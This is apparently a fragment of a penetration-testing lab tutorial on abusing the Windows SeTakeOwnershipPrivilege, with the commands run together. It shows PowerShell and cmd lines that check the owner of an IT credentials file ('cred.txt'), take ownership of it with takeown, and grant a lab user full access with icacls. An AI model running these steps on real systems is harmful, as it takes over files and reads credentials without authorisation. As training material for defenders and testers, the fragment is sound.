SeTakeOwnershipPrivilege
Get-ChildItem -Path 'C:\Department Shares\Private\IT\cred.txt' | Select Fullname,LastWriteTime,Attributes,@{Name="Owner";Expression={ (Get-Acl $_.FullName).Owner }}takeown /f 'C:\Department Shares\Private\IT\cred.txt'icacls 'C:\Department Shares\Private\IT\cred.txt' /grant htb-student:F
Last updated